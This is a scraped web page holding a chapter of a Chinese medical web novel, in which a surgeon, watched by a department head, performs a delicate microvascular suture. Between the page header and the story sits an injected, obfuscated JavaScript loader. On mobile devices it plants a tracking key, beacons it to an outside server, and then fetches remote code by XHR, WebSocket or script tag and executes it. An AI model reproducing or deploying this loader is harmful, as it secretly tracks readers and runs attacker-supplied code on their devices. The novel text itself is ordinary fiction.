足迹
姜眠
登录
关灯
护眼
字体:

100 二定点间断缝合(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

吴冕拿起楚知希递过来的头皮,头皮下毛细血管丰富,有利于重新组建血液循环,让植皮后的皮肤良好生长。

李主任只看了一眼头皮,眼睛就直了。

毛细动静脉解剖游离的干干净净,像是稀疏的头发一样留在头皮上。她是怎么做到的?这时候李主任有点后悔,自己应该看楚知希楚教授游离头皮才对。

光琢磨吴老师是术者,看他做手术。可光看到了削痂,真心没什么好看的。

心中懊悔,不过手术刚开始,还有机会,李主任往楚知希那面微微的移动了几公分,动作轻微,尽量不让吴老师看出来自己的注意力放在别的地方。

可就在这个时候,吴冕手里显微设备里的剪刀轻轻一点、一挑,几乎不见有什么动作。

这是……剥离血管外膜?

李主任愣住了。

一般自己要用血管镊夹住血管断端外膜向外牵拉后剪去,以免在缝合时将外膜带入管腔而引起血栓形成。

或者是用小剪刀细致剥离、剪除血管断端的外膜,一路小心损伤血管壁。

这个步骤看手术术者的水平,时间长短不一,但只要水平够的,都会细致的剪去外膜,最好不要省略。

吴老师做什么了?

李主任心里又升起一股子懊悔情绪,自己怎么想的,怎么就去看剥离供体皮肤呢,应该一直看吴老师手术才对啊。

他觉得自己的脸啊,被左一巴掌、右一巴掌,打的生疼。

果然是剥离血管外膜,李主任没看错。

吴冕手里的剪刀随后挑着薄如蝉翼一般的半透明血管外膜,往一块放在手边的纱布上蹭了一下,剪刀还给器械护士,要了0.1%肝素生理盐水开始冲洗血管。

“卡普龙线,11-0。”吴冕轻声说道。

随后吴冕将血管两端的血管夹拉近,使血管对端靠拢后,上、下各作一定点缝合。

两针同时在血管外侧结扎。

二定点间断缝合法!吴老师竟然选择了最难操作的二定点间断缝合法!

这种缝合的方式好处很多,但缺点也很明显——缝合难度巨大。

李主任打起精神,全神贯注的看吴冕打器械结。结扎时李主任很明显感觉到吴冕的力度轻柔、稳定。这里是毛细血管,稍微用大一点点的力气,就会造成血管壁撕裂。

有时候自己做手术,一个不小心血管撕裂,一切都要从头再来。

要是供体……还好说,剪短后再来一次。要是血痂下的血管被撕裂,那就头疼了。这里一直都是显微吻合的一个极难点,可吴老师轻轻柔柔的就这么打了一个线结,结束这段操作。

而后吴冕在二定点线之间再缝一针,前壁缝毕后,将两端血管夹向上翻转,按上法缝合血管后壁。

每一步都做的有板有眼,李主任没戴显微镜,他只能从吴冕的动作来判断手术进行到了哪一步。

奇怪的是二定点间断缝合法需要助手帮着提线,而吴老师并没有把线头甩过来。李主任记下这一点,准备术后问问是不是什么新的吻合方式。

手术一步步稳定推进,猛然间监护仪的报警声大作。

尖锐的报警声让人肾上腺素飙升。